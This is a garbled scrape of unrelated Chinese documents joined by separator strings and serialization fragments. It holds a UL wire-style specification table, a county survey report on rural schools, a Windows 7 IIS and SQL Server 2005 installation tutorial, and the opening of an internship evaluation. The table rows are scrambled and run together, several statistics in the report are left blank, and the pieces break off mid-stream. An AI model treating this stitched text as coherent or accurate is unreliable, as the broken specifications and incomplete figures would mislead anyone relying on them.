@#@80°@#@多芯电脑线,25P @#@用于2类电子设备内外部连接线@#@1.26UL3173 @#@ @#@600V @#@125度无卤交联线电气设备内部连接@#@1.27UL3265 @#@150V @#@125 @#@度,无卤交联线,电子电器内部连接线线@#@1.28UL3266,300V @#@125°@#@无卤交联线,32-10AWG @#@电子电器内部连接线@#@1.29UL3271 @#@600V @#@125度,无卤交联线,汽车或者电器、设备内部连接线@#@1.30UL3275 @#@无卤交联线,1000V @#@105度,电器设备内部连接线26AWG-9AWG@#@1.31UL3302 @#@无卤交联线,30V105度电子电器内部2类电路连接线@#@1.32UL3363 @#@无卤加强交联线,300V @#@125度,电子电器设备内部连接线@#@1.33UL3385 @#@无卤交联线,300V @#@105 @#@度电子电器内部连接线@#@1.34UL3386 @#@无卤交联线600V @#@105度 @#@电子电器内部连接线@#@1.35UL20851 @#@无卤HDMI @#@多媒体连接线 @#@30V @#@80度@#@1.36UL20855 @#@无卤DVI @#@电缆@#@1.37UL21088 @#@无卤IEEE1394 @#@高速介面链接线 @#@@#@1.38CAT-3E @#@三类局部区域网络电缆@#@1.39CAT-5E @#@超五类局部区域网络电缆 @#@UTP/FTP/STP@#@1.40CAT-6E @#@超六类局部区域网络电缆@#@1.41CAT-7 @#@七类局部区域网络电缆AV @#@汽车花线,0.5、0.75、0.85、1.25平方毫米@#@1.42AVS @#@特薄心汽车花线 @#@0.3、0.5、0.75、0.85、1.25、3.0、5.0平方毫米@#@1.43AVSS @#@超薄型汽车花线0.3、0.5、0.85、1.25平方毫米@#@2详细对照表:
@#@@#@UL @#@STYLE@#@CSA @#@TYPE@#@定格电压@#@温度@#@用途@#@绝缘材质@#@外被@#@电线名称@#@1007 @#@@#@AWM @#@IA @#@@#@300V @#@@#@80℃ @#@@#@电气机器,电子机器内部配线。
@#@最大瞬间电压至600V @#@@#@PVC @#@@#@- @#@@#@一般电子线 @#@@#@1008 @#@@#@- @#@@#@300V @#@@#@80℃ @#@@#@电气机器,电子机器内部配线。
@#@最大瞬间电压至600V @#@@#@PVC @#@@#@NYLON @#@@#@尼龙被覆线 @#@ @#@@#@1009 @#@@#@- @#@@#@90℃ @#@@#@1010 @#@@#@- @#@@#@105℃ @#@@#@1011 @#@@#@AWM @#@IA @#@@#@600V @#@@#@80℃ @#@@#@电气机器,电子机器内部配线。
@#@最大瞬间电压至2500V @#@@#@PVC @#@@#@- @#@@#@一般电子线 @#@@#@1013 @#@@#@AWM @#@IA @#@@#@600V @#@@#@90℃ @#@@#@PVC @#@@#@- @#@@#@1012 @#@@#@- @#@@#@600V @#@@#@80℃ @#@@#@电气机器,电子机器内部配线。
@#@最大瞬间电压至2500V @#@@#@PVC @#@@#@NYLON @#@@#@尼龙被覆线 @#@@#@1014 @#@@#@- @#@@#@600V @#@@#@90℃ @#@@#@1015 @#@@#@AWM @#@IA @#@@#@600V @#@@#@105℃ @#@@#@电气机器,电子机器内部配线。
@#@最大瞬间电压至2500V @#@@#@PVC @#@@#@- @#@@#@一般电子线 @#@@#@1016 @#@@#@AWM @#@IA @#@@#@1017 @#@@#@AWM @#@IA @#@@#@600V @#@@#@80℃ @#@@#@电气机器,电子机器内部配线。
@#@最大瞬间电压至2500V @#@ @#@@#@PVC @#@@#@- @#@@#@一般电子线 @#@@#@1018 @#@@#@80℃ @#@@#@1019 @#@@#@80℃ @#@@#@1020 @#@@#@80℃ @#@@#@1021 @#@@#@80℃ @#@@#@1022 @#@@#@80℃ @#@@#@1023 @#@@#@80℃ @#@@#@1024 @#@@#@90℃ @#@@#@1025 @#@@#@90℃ @#@@#@1026 @#@@#@90℃ @#@@#@1027 @#@@#@90℃ @#@@#@1028 @#@@#@105℃ @#@@#@1029 @#@@#@- @#@@#@600V @#@@#@105℃ @#@@#@电气机器,电子机器内部及建筑用配线。
@#@@#@PVC @#@@#@- @#@@#@尼龙被覆线 @#@@#@1030 @#@@#@- @#@@#@1000V @#@@#@80℃ @#@@#@电气机器,电子机器内部配线。
@#@ @#@@#@PVC @#@@#@- @#@@#@高压电子线 @#@@#@1031 @#@@#@- @#@@#@DC1200V @#@@#@80℃ @#@@#@1000V(A.C.)或1200V(D.C.) @#@@#@1032 @#@@#@AWM @#@IA @#@@#@1400PEAK @#@@#@90℃ @#@@#@回线用 @#@@#@1033 @#@@#@- @#@@#@ @#@90℃ @#@@#@1061 @#@@#@AWM @#@IA @#@@#@300V @#@@#@80℃ @#@@#@事务机器,电子机器内部配线 @#@@#@SR-PVC @#@@#@- @#@@#@一般电子线 @#@@#@1095 @#@@#@- @#@@#@300V @#@@#@80℃ @#@@#@事务、医疗,电子机器内部配线。
@#@ @#@@#@PVC @#@@#@- @#@@#@一般电子线 @#@@#@1071 @#@@#@- @#@@#@300V @#@@#@60℃ @#@@#@电气机器,电子机器内部配线及机器间用。
@#@ @#@@#@PE @#@@#@PVC @#@@#@同轴电缆 @#@@#@1107 @#@@#@- @#@@#@300V @#@@#@60℃ @#@@#@PE @#@@#@1118 @#@@#@- @#@@#@300V @#@@#@90℃ @#@@#@PVC @#@@#@1120 @#@@#@- @#@@#@600V @#@@#@105℃ @#@@#@PVC @#@@#@1113 @#@@#@- @#@@#@600V @#@@#@60℃ @#@@#@音响用电子机器内部配线。
@#@最大瞬间电压至600V @#@ @#@@#@PE @#@@#@PVC @#@@#@同轴电缆 @#@@#@1150 @#@@#@- @#@@#@300V @#@@#@60℃ @#@@#@电气机器,电子机器内部配线及机器间用。
@#@ @#@@#@PE @#@@#@PVC @#@@#@同轴电缆 @#@@#@1164 @#@@#@- @#@@#@300V @#@@#@105℃ @#@@#@电气机器,电子机器内部配线 @#@@#@TFE @#@@#@- @#@@#@高温电子线 @#@@#@1180 @#@@#@- @#@@#@300V @#@@#@200℃ @#@@#@电气机器,电子机器内部配线 @#@@#@TFE @#@@#@- @#@@#@高温电子线 @#@@#@1185 @#@@#@AWM @#@IA @#@@#@300V @#@@#@80℃ @#@@#@电气机器,电子机器内部配线 @#@@#@PVC @#@@#@PVC @#@@#@缠绕线 @#@@#@1195 @#@@#@AWM @#@IA @#@@#@300V @#@@#@80℃ @#@@#@事务机器,电子机器内部配线 @#@@#@SR-PVC @#@@#@- @#@@#@一般电子@#@1208 @#@@#@AWM @#@IA @#@@#@300V @#@@#@80℃ @#@@#@事务机器,电子机器内部配线 @#@@#@SR-PVC @#@@#@- @#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@1226 @#@@#@AWM @#@IA @#@@#@- @#@@#@80℃ @#@@#@事务机器内部配线。
@#@可以使用在有频繁动作而产生高温的机件上 @#@ @#@@#@FEP @#@@#@- @#@@#@高温电子线 @#@@#@1227 @#@@#@- @#@@#@- @#@@#@105℃ @#@@#@FEP @#@@#@- @#@@#@1230 @#@@#@- @#@@#@600V @#@@#@105℃ @#@@#@电气机器,电子机器内部配线,防水用线 @#@@#@PVC @#@@#@- @#@@#@一般电子线 @#@@#@1283 @#@@#@AWM @#@IA @#@@#@600V @#@@#@105℃ @#@@#@电气机器,电子机器内部配线。
@#@最大瞬间电压至2500V @#@@#@PVC @#@@#@- @#@@#@一般电子线 @#@@#@1316 @#@@#@- @#@@#@ @#@ @#@@#@105℃ @#@@#@电气机器,电子机器内部及建筑用配线。
@#@ @#@@#@PVC@#@NYLON @#@@#@尼龙被覆线 @#@@#@1317 @#@@#@- @#@@#@ @#@ @#@@#@1318 @#@@#@- @#@@#@600V @#@@#@1319 @#@@#@- @#@@#@ @#@ @#@@#@1320 @#@@#@- @#@@#@ @#@ @#@@#@1321 @#@@#@- @#@@#@ @#@1330 @#@@#@AWM @#@IA @#@@#@600V @#@@#@80℃ @#@@#@电气机器,电子机器内部配线。
@#@@#@FEP @#@@#@- @#@@#@高温电子线 @#@@#@1331 @#@@#@600V @#@@#@80℃ @#@@#@FEP @#@@#@1332 @#@@#@300V @#@@#@80℃ @#@@#@FEP @#@@#@1333 @#@@#@300V @#@@#@80℃ @#@@#@FEP @#@@#@1335 @#@@#@- @#@@#@600V @#@@#@90℃ @#@@#@电气机器,电子机器内部配线。
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26;s:
15692:
"XX年关于农村义务教育阶段学校调研报告@#@XX年关于农村义务教育阶段学校调研报告@#@XX年关于农村义务教育阶段学校调研报告@#@ 随着经济社会快速发展,新型城镇化建设持续推进,人民群众对优质教育资源的需求不断增强,农村人口大量涌向县城和区域中心集镇。
@#@农村学校特别是部分边远山区学校、村校办学规模进一步萎缩,农村学生就读需求、师资需求与校舍配置相对失衡。
@#@为深入了解我县农村义务教育阶段学校的校舍资源利用、学生就读需求、师资配备等方面存在的问题,提出可行性对策,按照县人大常委会XX年工作安排,10月上旬,县人大常委会副主任陈沭全牵头,由县人大教科文卫工委、县教委负责人组成专题调研组,对我县沙市、上坝、双龙、双土、故陵、新津、宝坪、清水、盘龙、巴阳等10个乡镇近30所农村义务教育阶段学校现状开展了实地调研。
@#@现将调研情况报告如下。
@#@@#@
(一)全县基本情况。
@#@全县有各级各类学校316所,其中,公办学校126所,含普通高中8所(市重点高中5所),职业学校2所,单设初中28所(原县管初中12所),九年制学校5所,小学80所,特教学校1所,独立幼儿园2所;@#@民办67所,含中小学6所,幼儿园61所;@#@村校123所。
@#@乡镇中小学附设幼儿园84个。
@#@@#@ XX年,在校学生167852人,其中初中39146人,小学69059人。
@#@在职教职工9853人,其中初中3115人,小学4972人(其中村校380人),特教学校34人。
@#@全县校舍建筑面积平方米,生均平方米。
@#@@#@
(二)农村义务教育学校情况。
@#@全县现有农村初中24所,农村小学71所,九年制学校5所,村校123所。
@#@初中27052人,小学49881人。
@#@学生人数在XX人以上的农村小学有6所,100人以下的中心小学有4所(盐渠小学、新建小学、梅峰小学、富家小学)、初中1所(九龙初中)。
@#@学生在100人以上的村校有10所,10人至20人的村校24所,10人以下的村校40所(其中仅有1人的村校7所)。
@#@@#@ (三)城乡人口变化情况。
@#@一是农村人口呈下降趋势。
@#@根据统计局统计数据,全县农村人口XX年981703人,XX年980544人,XX年980369人;@#@二是农村人口大量涌向县城和区域中心集镇,城镇人口逐年递增。
@#@全县城镇人口XX年362866人,XX年370178人,XX年377240人。
@#@人民群众对优质教育资源的需求愿望不断增强,村校教育资源处于相对劣势。
@#@@#@ 近年来,全县始终坚持教育优先发展的战略地位,始终把教育作为最大的民生工程和最好的扶贫工程,紧紧围绕打造重庆市教育强县目标,凝心聚力,奋力前行,推动云阳教育不断实现新跨越、取得新成效。
@#@@#@
(一)办学条件显著改善。
@#@“十二五”期间,争取中央、市级资金24亿元。
@#@投入建设资金亿元,新建小学2所、幼儿园11所,改扩建学校93所。
@#@投入15284万元,改造农村义务教育薄弱学校85所;@#@多方筹集资金化解教育债务,债务总额从亿元下降到亿元,义务教育学校教育债务全面化解。
@#@投入资金6239万元,新建多媒体及“班班通”教室2518间、计算机教室60间、“六大功能室”666间、实验室184间、图书室119间、村校综合室38间,新建“村校教学点数字资源全覆盖”项目114个,为全县中小学购买了教育资源库。
@#@主动作为有效处置村校闲置资产。
@#@一是保留备用。
@#@为保障农民子女就近入学,以备必要时恢复办学使用,保留了11所闲置学校校舍,建筑面积6204平方米。
@#@二是盘活利用。
@#@除留作保留办学外,其余382所农村教育闲置资产(建筑面积153450平方米)由县人民政府整体划转给所在地乡镇人民政府(街道办事处),乡镇人民政府通过签订相关权益转让协议,将农村教育闲置资产的占有、使用、收益等权益让渡给当地农村集体经济组织行使。
@#@@#@
(二)教育质量持续攀升。
@#@始终把教育质量作为核心任务,严格执行课程计划,全面落实“减负提质”,深入推进课程改革,不断优化常规管理,建立完善激励机制,坚持开展义务教育质量监测,每年表彰奖励教育质量先进集体和优秀个人。
@#@义务教育阶段入学率100%。
@#@小学毕业生升入初中阶段比例100%,初中毕业生升入高中阶段比例%。
@#@义务教育实现更高质量、更高水平普及,为全县高中教学质量步入全市先进行列奠定了坚实基础。
@#@近5年,全县高考总上线万人、本科上线万人、重本上线6574人,有18名学生被清华、北大录取。
@#@XX年,全县高考总上线9790人,上线率96%;@#@本科上线5506人,上线率%;@#@重本上线1887人,上线率%,有5名学生被清华、北大录取。
@#@@#@ (三)文明礼仪教育影响全国。
@#@坚持把中小学文明礼仪教育作为落实立德树人根本任务的有效途径,以《中小学文明礼仪公约》为主要内容,以行为习惯养成教育为重点,构建了文明礼仪教育“四进”工作机制,推动了讲文明、懂礼仪的云阳学生品牌形成,助推了中国礼仪之乡建设。
@#@先后承办了全国中小学文明礼仪教育高层论坛、重庆市文明礼仪进校园推进会,助推了教育部《中小学文明礼仪教育指导纲要》的出台和配套教材的编写。
@#@文明礼仪教育已经成为云阳教育的一张名片。
@#@@#@ (四)特色教育有为有位。
@#@坚持以体育、艺术、科技三大教育为抓手,全面推进素质教育,彰显学校办学特色,促进学生全面发展。
@#@被教育部确定为全国126个农村学校艺术教育实验县之一,被重庆市确定为市级青少年科技教育基地,新津小学等14所学校被确定为全国青少年校园足球特色学校,江口中学等6所学校创建为市级艺体、科技特色学校。
@#@沙沱初中XX级学生刘灏勇夺仁川亚运会94公斤级举重冠军。
@#@云硐初中跳绳队获得亚洲跳绳锦标赛亚军和季军。
@#@养鹿初中学生钟祎帆参加国际青少年艺术节,所在小提琴演奏6人团队获得重奏合奏组金奖。
@#@东山初中学生肖波获XX年首届全球葫芦丝巴乌网络大赛一等奖。
@#@学生舞蹈连年荣获全国金奖,XX年云中学生舞蹈获全国特等奖(全国仅10个)。
@#@盛堡初中被命名为“全国跳绳大课间示范学校”。
@#@民德小学学生欧阳梦屿获得全国宋庆龄少儿发明奖金奖。
@#@我县成为全市艺体、科技教育获奖大户,特色教育可圈可点。
@#@@#@ (五)队伍建设显著加强。
@#@从XX年起,连续5年为农村学校补充教师2529人。
@#@目前,全县在职教职工9853人,35岁及以下教师占%,本科以上学历教师达到%,基本解决了教师队伍总量不足、结构老化等问题。
@#@构建了国家级培训做示范、市级培训推重点、县级培训抓全员、校本培训重教研的“金字塔”师资全员全能培训体系,每年投入300余万元,组织教师参加市、县及国家级培训6000人次。
@#@全县现有特级教师12人,市级名师2人、骨干教师117人,县级名师36人、学科带头人41人、骨干教师1528人。
@#@坚持奖优罚劣的用人导向,促进干部有序交流,鼓励干部干事创业。
@#@XX年来,全县交流学校领导干部37人,提拔重用23人,免职16人。
@#@建立健全表彰激励机制,每年评选表彰“五个十佳”教师、优秀教育工作者等。
@#@XX年开始,按五类标准全面落实乡村教师岗位生活补助政策,中心校教师最高月补助700元、最低200元,村校教师最高月补助1000元、最低350元;@#@XX年开始,农村学校教师落实乡镇工作补贴每人每月300元,农村学校教师待遇不断提高。
@#@目前,学校班子团结、务实,有干劲;@#@教师敬业、乐教,有朝气。
@#@@#@
(一)学校布点需要局部调整。
@#@村校布点需要进一步研究和规划。
@#@部分村校因生源流失导致校舍、设备设施比较富余,造成了学校资产闲置和浪费。
@#@同时,由于农村少数贫困家庭短时间无力将适龄儿童送进区域中心集镇就读。
@#@如上坪小学复垭村校1个教师教8名留守儿童,由于路途遥远、群众需要等原因,村校仍需要保留;@#@文龙小学六合村校因“”洪灾导致校舍损毁,22名学生和3名教师撤并到中心校,但六合村校距离中心校较远,辐射人口2500多人,群众强烈要求恢复。
@#@@#@
(二)办学条件需要继续改善。
@#@部分学校配套功能不完善。
@#@一是个别学校饮用水水质不达标,如无量小学曾因水质不达标被罚款;@#@二是教师周转房总量不足,如故陵初中少数教师没有配套周转房住;@#@三是寄宿制学校洗澡室、厕所需要改造完善,如上坝小学等;@#@四是学校资源多寡不均,如宝坪小学占地面积不足,宝坪初中闲置土地和房子较多;@#@五是寄宿制学校后勤管理人员缺少编制;@#@六是学生营养改善计划点多面广,教师每天参与学生营养午餐分餐、陪餐等相关工作,大大增加了工作量。
@#@@#@ (三)教师队伍建设需要继续加强。
@#@一是教师总量不足。
@#@全县编制数为10395个,在编在岗教师9853人,下差542人(不包括幼儿教师,学校附属幼儿园教师没有核编)。
@#@二是教师性别比例失衡。
@#@近5年新招教师中女教师多达70%以上,部分学校年轻教师性别比例相差过大,大龄未成家女教师过多,直接或间接影响教育教学工作和教师身心健康。
@#@三是学科结构不合理。
@#@艺体教师缺乏,尤其是村校,存在设备设施无教师使用、不会使用等困难。
@#@四是新入职教师稳定性不够。
@#@受地域环境和个人价值取向等约束或影响,新入职教师辞职频繁(每年均有30至50名辞职或辞聘)。
@#@@#@ (四)留守儿童教育管理需要引起社会共同关注。
@#@据调查,农村学校留守儿童基本在70%以上,如双土九年制学校留守儿童比例高达80%以上。
@#@父母远离,学生家庭教育中父辈教育以爷爷奶奶或外公外婆的隔代教育代替,留守学生在监护管理上存在很大“盲区”,导致留守儿童行为习惯、性格偏差、意外伤害等方面的问题日趋突出。
@#@同时,家长把留守儿童的教育管理全部推向学校和教师,但学校和教师无力承担家庭教育和社会教育的角色,这迫切需要党委、政府、各级各部门和全社会共同关注。
@#@@#@
(一)建立完善体制机制,推动城乡良性互动。
@#@建立完善教师合理流动、有序交流的长效机制。
@#@组织“云阳名师”等深入农村中小学开展送教下乡活动;@#@组织城区学校教师深入对口农村学校开展课改研讨等结对帮扶活动;@#@选派城区或城周优秀教师到农村薄弱学校支教,鼓励中心校教师轮流到村校支教,艺体教师到村校走教。
@#@探索小型中心校不撤建制,不设行政班子,由区域中心校委派副校长负责管理,减少管理成本。
@#@完善考核评价机制,教育主管部门在考核标准不变的情况下,对学校进行科学分类、分组管理,确保公平、公正。
@#@@#@
(二)合理调整学校布局,着力改善办学条件。
@#@一是稳妥推进学校布局调整。
@#@继续办好不能撤并的村校;@#@对于需要撤并或恢复的学校,按照“一校一议”的原则举行听证会,保障每一个学生接受义务教育的权利;@#@利用高山、边远地区移民搬迁等政策,解决边远特困家庭学生到中心校就读问题,促进合理撤并微型村校;@#@做好需要扩容的大型学校规划建设(如江口二校、南溪二校等)。
@#@二是针对性投入。
@#@尊重村校现实需要,以维修改造为主;@#@加大中心校投入力度,尤其是加大寄宿制学校建设力度,不断增强中心校办学功能。
@#@@#@ (三)科学核定教师编制,进一步优化乡村教师结构。
@#@结合我县农村学校教育实际,村校和小型中心校适宜按照生师比和班师比相结合的标准灵活、科学地核定学校的教师编制。
@#@调整和避免学校教师资源过剩和不足的现象。
@#@教师性别比例失调问题应引起省部级人力社保部门的高度关注,制定政策,切实解决。
@#@增核幼教编制,解决幼教师资紧缺问题。
@#@@#@ (四)加大培养培训力度,提高教师业务水平。
@#@建议人力社保和教育行政部门密切配合在补充农村教师时,有目的、有计划地培养引进本土人才。
@#@如有条件地培养本地的全科教师、免费师范生。
@#@落实《重庆市专业技术人员继续教育条例》(XX年9月26日市人大常务会第五次会议通过)和《重庆市人民政府关于加强农村教师队伍建设的意见》(渝府发〔XX〕28号)的政策要求:
@#@职工继续教育经费的比例不得低于职工工资总额的%;@#@区县财政按照不低于本地区教师工资待遇总额(含基本工资和绩效工资)的%预算教师继续教育经常性经费(周边万州等区县已基本落实),学校年度公用经费总额的5%用于教师培训。
@#@@#@ (五)做好政策顶层设计,破解留守儿童管理难题。
@#@呼吁上级人大出台相关法规或实施条例,如规定留守儿童父母至少留一人在其身边监护。
@#@相关部门积极联动配合,如党委、政府包括镇、村要以强制性措施进行干预,尽量让每个孩子有一人(父母之中)监护。
@#@明确学校、乡镇、社区、村级以及县妇联、文明办、团委等相关部门的责任。
@#@如每学期由地方政府牵头,学校具体承办,开展不少于1次的家长学校培训活动。
@#@@#@ (六)开展教师核心价值观教育,提高教师职业道德水平。
@#@坚持立德树人方针,加强教师队伍的思想政治教育,广泛深入开展“忠诚教育、关爱学生、教书育人、为人师表、严谨治学”的当代教师核心价值观教育,建立健全师德师风建设工作机制,落实师德师风考核、通报和公示制度,不断增强教师教书育人的责任感和使命感。
@#@@#@ (七)坚持教育优先发展战略,为义务教育协调发展提供有力保障。
@#@建议县委、县政府继续把教育定位为最大的民生工程和最好的扶贫工程;@#@县财政、人事、发改、编制、公安、食品药监、移民等部门主动为教育发展献计出力;@#@县国土、规划、建设、环保、水利、扶贫、招商等部门积极配合,尽力为教育发展开绿灯;@#@县教委要不断改善教师待遇,在落实现有乡村教师岗位生活补助和乡镇工作补贴的基础上继续提升幅度,在评职晋级、评优选好、教育教学和生活设施设备等方面进一步给予乡村教师政策倾斜;@#@各乡镇(街道)每年开展教师节表彰慰问活动,为学校发展提供保障和支持。
@#@@#@ @#@ @#@";i:
27;s:
9703:
"win7+IIS+SQLServer@#@一、IIS安装教程@#@安装方法1:
@#@通过用户界面安装@#@1.单击“开始”/“控制面板”/“程序”,选择“打开或关闭Windows功能”。
@#@@#@2.在Windows功能对话框中,选中“Internet信息服务”@#@3.单击“确定”,这时WindowsVista就会启动IIS的安装过程;@#@@#@注意,如果你用上述步骤安装,得到的是默认的安装,也就是最少的功能。
@#@如果你需要额外的IIS功能,如应用程序开发功能或者Web管理工具,就要在Windows功能对话框中,保证选中这些功能的相关复选框。
@#@@#@安装方法2:
@#@通过脚本安装@#@在脚本中输入如下的命令:
@#@@#@start/wpkgmgr/iu:
@#@IIS-WebServerRole;@#@IIS-WebServer;@#@IIS-@#@CommonHttpFeatures;@#@IIS-StaticContent;@#@IIS-DefaultDocument;@#@IIS-DirectoryBrowsing;@#@IIS-@#@HttpErrors;@#@IIS-HttpRedirect;@#@IIS-ApplicationDevelopment;@#@IIS-ASPNET;@#@IIS-@#@NetFxExtensibility;@#@IIS-ASP;@#@IIS-CGI;@#@IIS-ISAPIExtensions;@#@IIS-ISAPIFilter;@#@IIS-@#@ServerSideIncludes;@#@IIS-HealthAndDiagnostics;@#@IIS-HttpLogging;@#@IIS-LoggingLibraries;@#@IIS-@#@RequestMonitor;@#@IIS-HttpTracing;@#@IIS-CustomLogging;@#@IIS-ODBCLogging;@#@IIS-Security;@#@IIS-@#@BasicAuthentication;@#@IIS-WindowsAuthentication;@#@IIS-DigestAuthentication;@#@IIS-@#@ClientCertificateMappingAuthentication;@#@IIS-IISCertificateMappingAuthentication;@#@IIS-@#@URLAuthorization;@#@IIS-RequestFiltering;@#@IIS-IPSecurity;@#@IIS-Performance;@#@IIS-@#@HttpCompressionStatic;@#@IIS-HttpCompressionDynamic;@#@IIS-WebServerManagementTools;@#@IIS-@#@ManagementConsole;@#@IIS-ManagementScriptingTools;@#@IIS-ManagementService;@#@IIS-@#@IIS6ManagementCompatibility;@#@IIS-Metabase;@#@IIS-WMICompatibility;@#@IIS-LegacyScripts;@#@IIS-@#@LegacySnapIn;@#@IIS-FTPPublishingService;@#@IIS-FTPServer;@#@IIS-FTPManagement;@#@WAS-@#@WindowsActivationService;@#@WAS-ProcessModel;@#@WAS-NetFxEnvironment;@#@WAS-@#@ConfigurationAPI@#@如果你用这个脚本安装,就会完全安装IIS,即安装全部的IIS功能。
@#@如果有些功能你不想用,应该编辑脚本文件,去除某个功能,如删除上面脚本中的倒数第三行的“IIS-LegacyScripts”,只安装你需要的程序包。
@#@@#@@#@安装方法3:
@#@(图文)@#@需要有win7的安装盘,不是gost版的,目前还没有发现有iis7.0安装包@#@一、安装IIS@#@默认情况下,windows7安装时是不会自动安装iis,只能手动安装。
@#@@#@1.安装IIS@#@开始-控制面板-程序-打开或关闭windows功能@#@2.如图选择安装@#@@#@VS2005中,如果要调试站点的话,必须有“Windows身份验证”@#@“摘要式身份验证”是使用Windows域控制器对请求访问Web服务器上内容的用户进行身份证。
@#@@#@“基本身份验证”是要求用户提供有效的用户名和密码才能访问内容。
@#@@#@要调试ASP.net当然要安装IIS支持ASP.net的组件了。
@#@@#@二、配置IIS7@#@1、IIS7在安装了上述组件后,控制面板-系统和安全-管理工具-Internet信息服务(IIS)@#@管理工具,打开运行。
@#@如下图:
@#@@#@@#@2、双击内页中的ASP,即显示ASP的设置内容,"@#@,然后在"@#@Behavior(行为)"@#@组中将"@#@EnableParentPaths(启用父路径)"@#@设置为True即可。
@#@@#@@#@@#@3、配置默认网站@#@@#@@#@4、填写物理路径、应用程序池,点OK即可:
@#@@#@@#@@#@IIS的应用程序池根据托管管道模式分了两种类型:
@#@集成和经典@#@集成.NET模式下,应用程序不应在<@#@system.web>@#@/<@#@httpModules>@#@配置节中指定ASP.NET模块组件,而应使用<@#@system.webServer>@#@/<@#@modules>@#@配置节来加载ASP.NET模块组件。
@#@@#@经典.NET模式则是我们以前习惯的IIS6的方式,没有上述限制。
@#@@#@<@#@scriptlanguage="@#@javascript"@#@type="@#@text/javascript"@#@src="@#@http:
@#@//js.users.51.la/3728612.js"@#@>@#@<@#@/script>@#@@#@<@#@noscript>@#@<@#@ahref="@#@http:
@#@//www.51.la/?
@#@3728612"@#@target="@#@_blank"@#@>@#@<@#@imgalt="@#@&@#@#x6211;@#@&@#@#x8981;@#@&@#@#x5566;@#@&@#@#x514D;@#@&@#@#x8D39;@#@&@#@#x7EDF;@#@&@#@#x8BA1;@#@"@#@src="@#@http:
@#@//img.users.51.la/3728612.asp"@#@style="@#@border:
@#@none"@#@/>@#@<@#@/a>@#@<@#@/noscript>@#@@#@ @#@@#@SQLServer2005简体中文开发板安装教程@#@-------------------------------------------------------------------------------------------------@#@操作系统:
@#@MicrosoftWindows7旗舰版(32位)@#@数据库版本:
@#@SQLServer2005简体中文开发板@#@数据库下载链接:
@#@http:
@#@//222.132.81.146/rj/cs_sql_2005_dev_all_dvd.rar@#@文件解压密码:
@#@@#@-------------------------------------------------------------------------------------------------@#@安装过SQLServer的人可能知道,它的有些服务要依赖于IIS,所以为了保证数据库的顺利安装,先启用IIS服务吧!
@#@Win7比XP好的一点是:
@#@启用IIS功能无需借助系统安装盘了,只要在控制面板里启用即可,如图:
@#@@#@step1@#@step2@#@step3@#@第三步需要注意的是,选中红框中的复选项,分别为“InternetInformationServices可承载的Web核心”、“Web管理工具”和“万维网服务”,这里我不确定“Web管理工具”是否需要,因为我选中它们的父节点“Internet信息服务”后选中了它的一些子项,多选总比少选全面,需要将它们的子项全部选中才显示为“√”,否则显示为“■”,记住,一定要显示为“√”才行,效果就和step3一样就可以了!
@#@点击确定后会出现线面的框框@#@如果我们不启用IIS功能,在后续安装SQLServer时会遇见如图画面@#@到此,IIS功能就算启用完成了,下面开始安装SQLServer@#@安装文件解压后是一个ISO的镜像,其实是一个DVD文件,将两张光盘合并到一起了,所以你的电脑需要安装虚拟光驱,虚拟光驱不会用请先XX一下,我就不在这里赘述了。
@#@@#@首先启动虚拟光驱软件,把SQLServer的镜像加载进来,如图@#@此时我们可以在我的电脑里看到这张虚拟的安装盘了,如图@#@如果没有自动运行,那么我们就点双击H盘图标,进入安装@#@紧接着进入如下画面@#@我的系统是32位的,我自然选择基于x86的,之后点击“服务器组件、工具、联机丛书和示例(C)”@#@紧接着弹出对话框,点击“运行程序(R)”@#@接着出现,勾选,下一步@#@安装程序会检查所需组件,点击“安装”@#@点击“安装”@#@点击“下一步”后,安装程序会监测计算机配置@#@紧接着跳转为安装向导@#@点击“下一步”@#@我们看到,所有的项目都成功,如果之前没有启用IIS功能的话,出现的画面就是之前的那个样子,点击“下一步”@#@输入公司名后,点击“下一步”@#@这里需要注意,如果你的界面只有最后一个复选框可选,其他都为灰色不可选,那说明你的版本有问题,不是开发版,请马上放弃安装,从上面我给的下载地址下载开发板进行安装。
@#@全部选中后点击“下一步”@#@默认安装到系统盘下,我们可以点击高级进行修改,点击“浏览(R)”@#@我将“C”修改成了“D”,点击“确定”@#@点击“下一步”@#@我选择的“默认实例”,也可以选择“命名实例”,点击“下一步”@#@一切默认,点击“下一步”@#@因为其他程序也可能连接数据库,所以选择“混合模式”,并键入sa密码,点击“下一步”@#@默认,点击“下一步”@#@默认,点击“下一步”@#@默认,点击“下一步”@#@漫长的安装才刚要开始,点击“安装”@#@该过程很耗时,慢慢等待吧@#@安装中途,遇到的第一个弹出窗口,点击“运行程序(R)”@#@安装了一会,结果又弹出,继续点击“运行程序(R)”@#@所有模块都安装完毕了,点击“下一步”@#@到这里就接近尾声了,点击“完成(F)”@#@这个界面是登陆到刚刚安装的数据库,因为安装的时候我们使用的是“默认实例”,也就是计算机名称,“IceWee-PC”是我的计算机名称,点击连接就登陆到数据库了。
@#@@#@我个人感觉安装SQLServer需要注意的地方有两点,一是IIS功能的启用,二是一定要选对安装版本,我第一次就下错了,下的企业版,结果@#@就只能安装“工作站组件、联机丛书和开发工具”。
@#@@#@ @#@@#@关于局域网内其他计算机要连接上这个数据库我也遇到了点小麻烦,折腾了半天才搞定。
@#@@#@首先,系统防火墙和其他第三方防火墙,如360、QQ电脑管家、杀毒软件等,这个是常识了@#@其次,使用telnet命令进行连接,如果能够连上,那么肯定就能访问了,命令格式:
@#@@#@telnet数据库IP1433@#@连不上就会出现如下画面@#@就为了能telnet上我的数据库,折腾了半天啊!
@#@折腾了半天!
@#@哈哈,最后终于解决了@#@开始-》MicrosoftSQLServer2005-》配置工具-》SQLServerConfigurationManager@#@ @#@在弹出窗口中,按照下图点开左侧树@#@我们看到红框中的“TCP/IP”协议是“已禁用”状态的,我们把它启用后,再重启SQLServer就能telnet上了!
@#@@#@";i:
28;s:
27226:
"安徽电大建筑施工与管理专业毕业实践日记@#@实习单位鉴定意见@#@实习单位名称@#@实习@#@时间@#@2016/11/29@#@实习期间主要表现(实践态度、出勤情况、技术水平)@#@该学生实习期间工作认真,勤奋好学,踏实肯干,在工作中遇到不懂的地方,能够虚心向富有经验的前辈请教,善于思考,能够举一反三。
@#@对于别人提出的工作建议,可以虚心听取。
@#@在时间紧迫的情况下,加时加班完成任务。
@#@能够将在学校所学的知识灵活应用到具体的工作中去,保质保量完成工作任务。
@#@同时,该学生严格遵守我公司的各项规章制度,实习期间,未曾出现过无故缺勤,迟到早退现象,并能与公司同事和睦相处,与其一同工作的员工都对该学生的表现予以肯定。
